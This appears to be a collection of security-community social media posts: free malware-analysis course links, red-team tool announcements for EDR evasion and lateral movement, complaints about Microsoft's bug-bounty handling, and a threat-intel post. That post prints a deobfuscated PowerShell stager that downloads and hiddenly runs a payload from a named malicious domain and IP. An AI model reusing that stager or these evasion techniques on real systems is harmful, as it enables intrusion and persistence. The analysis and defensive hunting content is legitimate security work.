Jus

I have been seeing reverse engineering / malware analysis courses that cost thousands of dollars. Do you know you can actually learn that for free, right? There are also a bunch of other courses out there that are way cheaper or even free: - courses.0ffset.net - malwareanalysis-for-hedgehogs.com - invokere.com - github.com/RPISEC/MBE - guyinatuxedo.github.io/index.html - openanalysis.net - p.ost2.fyi - taomm.org

Automatically deploying Mythic C2 in Azure using Terraform github.com/qmadev/tf-myth…

During an engagement, and in an effort to bypass Crowdstrike, I figured out a new method to locally privilege escalate when having code execution as a Microsoft Virtual account using only a LoLbin(certreq) and some AD-CS magic. I was successfully able to compromise the target with Crowdstrike present without needing to use potatoe class exploits. I wrote a blog about it here! abdulmhsblog.com/posts/iammachi…

Exactly. AI vs AI. We’re already seeing the offensive side win some rounds. Google found malware like PROMPTFLUX that uses Gemini to rewrite its own code every hour for evasion. Meanwhile defenders are using LLMs to triage obfuscated samples in 12 minutes. Interesting times.

New #redteam tool for blocking EDRs: EDRChoker Instead of fully blocking the EDR agents' connections to their server, we can throttle their bandwidth so they consistently time out when sending data, which is effectively the same as blocking but avoids triggering "block" or "drop" packet events #pentest #cybersecurity Github: TwoSevenOneT/EDRChoker

Another powerShell stager using XOR+hex obfuscation. It downloads a password-protected ZIP from cloud-flare-authenticator[.]link or 193.111.117[.]6, extracts cert.exe, executes it hidden, then establishes persistence via HKCU Run, Startup .lnk, user PATH modification, and a logon scheduled task. Classic multi-persistence loader behavior. Deobfuscated code: $ErrorActionPreference = "Stop"; $ urls = @("hxxps://cloud-flare-authenticator.link/iDXs9HOIpoTLZRE.zip", "http://193.111.117.6/iDXs9HOIpoTLZRE.zip"); $ pw = 'iDXs9HOIpoTLZRE'; $ z = "$env:TEMP\iDXs9HOIpoTLZRE[.]zip"; $ d = "$env:LOCALAPPDATA\cert_update"; $ exe = "$d\iDXs9HOIpoTLZRE.exe"; $ stealthNames = @("SysHostService", "WinLogonHelper", "RuntimeBrokerSvc", "SpoolerSubService") $ appName = $ stealthNames | Get-Random # Downloads ZIP, extracts with 7-Zip/WinRAR, executes payload hidden, # then persists via HKCU Run, Startup .lnk, PATH modification, and scheduled task.

For a report I've submit report to MSRC months ago, showed full remote capabilities. MSRC closed saying it's "Local only". I comment: "I showed a 0 click proof of concept here. Why was it closed?" MSRC:" The assessment decision remains unchanged." Me:"Ok but I proved remote with X PoC and you can see the video I've even attached a few months ago that shows it in action" MSRC: " Please feel free to submit a new report with additional details."

okay, now tell them that their vulnerability doesn't qualify for a bounty, but then patch it in the next release.

Yeah, nah. Big L for Microslop. Nobody has a moral obligation to hand over their hard earned discoveries for free. Pay up or shut up. You are owed nothing, and you will get nothing by stomping your feet like a petulant child because “[this is] an “unnecessary risk” that forced its security teams to work around the clock, to understand, protect customers and develop patches.” God forbid your people do their jobs and it cost you more money than paying the researcher. Good. I suggest anyone either disclose them publicly to light a fire under Microsoft’s ass or keep them to yourself. Make them feel the pain of not paying out appropriately to save them time. They have pulled the “doesn’t meet servicing criteria” then patch it next update one too many times for valid bugs. RE: cybernews.com/security/micro…

Building a kernel driver to play with AV. A post by Sender (@cerbersec ) and Jonas Bauters. Source: blog.nviso.eu/2021/10/21/ker… #redteam #blueteam #maldev #malwaredevelopment

Microsoft "patched" a Windows bug in December 2020 that lets a standard user write to protected parts of the system that only SYSTEM should have access to. Basically you can take over the machine from a normal account. I just built the new exploit for it and ran it on my Windows 11 machine. Still works. Over 5 years later.

Hunting Chinese APTs Abusing Native Windows Tools We covered several ways Chinese APT groups abuse LOLBins based on findings from Mandiant reports. We also included Sigma rules and demonstrated how to convert them for use with your SIEM solution. hackers-arise.com/digital-forens… @three_cube @_aircorridor #dfir #apt

Big news for Blue Team nerds That nerd who released those Microsoft 0days has created two new repos on GitHub with spooky sounding names indicating they will be releasing two new Windows 0days. Very cool github.com/Nightmare-Ecli…

BitlockMove. Lateral Movement via Bitlocker DCOM & COM Hijacking, by @ShitSecure github.com/rtecCyberSec/B…

Hi, a new blog (It’ll be the last) 0xdbgman.github.io/posts/edr-inte…